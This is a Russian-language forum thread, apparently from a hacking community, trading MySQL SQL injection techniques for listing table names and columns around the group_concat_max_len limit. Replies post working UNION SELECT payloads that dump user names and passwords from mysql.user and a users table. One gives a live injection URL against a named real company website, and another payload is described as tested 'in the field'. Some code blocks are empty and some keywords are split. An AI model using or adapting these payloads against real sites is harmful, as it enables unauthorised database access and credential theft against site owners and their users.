![]() |
Использование GROUP_CONCAT() + NOT IN () [MySQL]
Использование GROUP_CONCAT() + NOT IN () [MySQL]
(Предназначено прежде всего для новичков). Многие привыкли использовать функцию GROUP_CONCAT() которая объединяет несколько возвращаемых запией в одну. Это позволяет быстро получить нужные данные в случаях, если скрипт отображает только один результат. Но из-за ограничения group_concat_max_len (по умолчанию - 1024) при больших объёмах данных польза данной функции стремится к нулю, так как при превышении данного лимита результирующая строка обрезается. Существует выход из данной ситуации. В MySQL (и не только) есть такая конструкция, как NOT IN () (которая, кстати, нередко применяется при атаке на MSSQL). Примерный синтаксис: PHP код:
Таким образом, путём подстановки этой конструкции в условие WHERE мы можем исключить уже полученные с помощью GROUP_CONCAT() данные, таким образом получив ранее недоступные записи, которые не умещались в предел group_concat_max_len. Рассмотрим на конкретном примере. Я использовал предел group_concat_max_len в ~340 символов вместо 1024 (принципиальной разницы нет). Запрос PHP код:
Код:
CHARACTER_SETS,PHP код:
Код:
_table_9,К этому и сводится принцип данного метода. ---------------------------------------------------------------------------------- Примечания: + Одним из неудобств данного метода является необходимость в рутинной операции форматирования полученных записей для подстановки в список NOT IN () Но эту задачу можно возложить на MySQL, немного модифицировав целевой запрос: PHP код:
Код:
'CHARACTER_SETS',+'COLLATIONS',+'COLLATION_CHARACTER_SET_APPLICABILITY',+'COLUMNS',+'COLUMN_PRIVILEGES',+'KEY_COLUMN_USAGE',+'PROFILING',+'ROUTINES',+'SCHEMATA',+'SCHEMA_PRIVILEGES',+'STATISTICS',+'TABLES',+'TABLE_CONSTRAINTS',+'TABLE_PRIVILEGES',+'TRIGGERS',+'USER_PRIVILEGES',+'VIEWS',+'aaaaa',+'bbbbb',+'cccccc',+'ddddd',+'eeeeee',+'fffffff',+'gggggg',+'hhhhhh'PHP код:
---------------------------------------------------------------------------------- Плюсы: + В разы уменьшается количество запросов к сайту (имена всех таблиц в большинстве случаев можно получить 2-3 запросами). Минусы: - При очень длинных запросах есть вероятность превысить максимальный предел длины URI-строки, в результате чего она обрежется, что породит ошибку синтаксиса MySQL. ---------------------------------------------------------------------------------- |
Это изврат. :)
Куда менее гимморойно : a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+where+table_schema!='informat ion_schema' вывод(допустим): yes no lol следующим запросом вбиваем последнюю из выведенных колонок: a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+where+table_schema!='informat ion_schema'+and+table_name>'lol' И вывод пойдёт с неё по алфавиту Это описывал l1ght https://forum.antichat.ru/showpost.php?p=1087388&postcount=5144 Или различные групировки по полям, базам и т.д. в которых отлично работает лимит a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+group+by+table_schema+limit+1 ,1 a=-1+union+select+group_concat(concat_ws(0x3a,user,pa ssword,file_priv))+from+mysql.user+group+by+file_p riv+limit+1,1 Которые тоже уже описывались мной: https://forum.antichat.ru/showpost.php?p=1090945&postcount=5213 |
Или так:
GROUP_CONCAT(TABLE_NAME)+FROM+information_schema.t ables+WHERE+ASCII(LOWER(TABLE_NAME))= 97 - выведет все таблы, начинающиеся на ''a" - независимо от регистра (или использовать такие же знаки > или <) реальный пример: Код:
http://www.unialco.com.br/jobs/details.php?id=-48'+union+select+1,2,GROUP_CONCAT(TABLE_NAME),4,5,6,7,8,9,10+FROM+information_schema.tables+WHERE+ASCII(LOWER(TABLE_NAME))=99+--+ |
А можно объявить переменные и пустить вывод таблиц по циклу benchmark().
Выглядеть это может примерно так: Код:
SELECT @count:=1, @out:=' ', BENCHMARK(10, @out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',name,password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id_user=@count LIMIT 0,1))), @out |
забавно, то же самое обсуждали с джоком год назад
но ближе к телу, после ряда тестов на локалке заметил косяк: Код:
mysql> select version();как вариант: Код:
mysql> select concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char));в полевых условиях: Цитата:
Цитата:
Цитата:
Цитата:
|
l1ght, да-да, я из-за этого косяка и написал слово "примерно".
Я делал проверку на существование конструкцией IFNULL(@count+1,@count), чтоб было как можно короче, но почему-то она не помогла... Спасибо за рабочий запрос) |
http://localhost/newsportal/haber/index.php?id=1+and+1=0+union+select+1,group_concat (column_name,0x3A,table_name),3,4,5+from+informati on_schema.columns+where+table_name=(select+table_n ame+from+information_schema.tables+where+table_sch ema=database()+and+table_name+REGEXP+0x2E2A2828757 35B75655D7C6C6F675B696F5D6E7C6D656D29292E2A+limit+ 0,1)+limit+0,1--
Этот запрос выведет название таблицы и полей указанных в регекспе-.*((us[ue]|log[io]n|mem)).* к примеру:members:id,members:name,members:pas sword etc... естественно если такие есть в базе проверено в полевых условиях....работает :) Взято здесь:http://undersecurity.net/sql-union-injection/optimizacion-de-sql-union-injection-en-mysql enjoy :) |
| Время: 12:36 |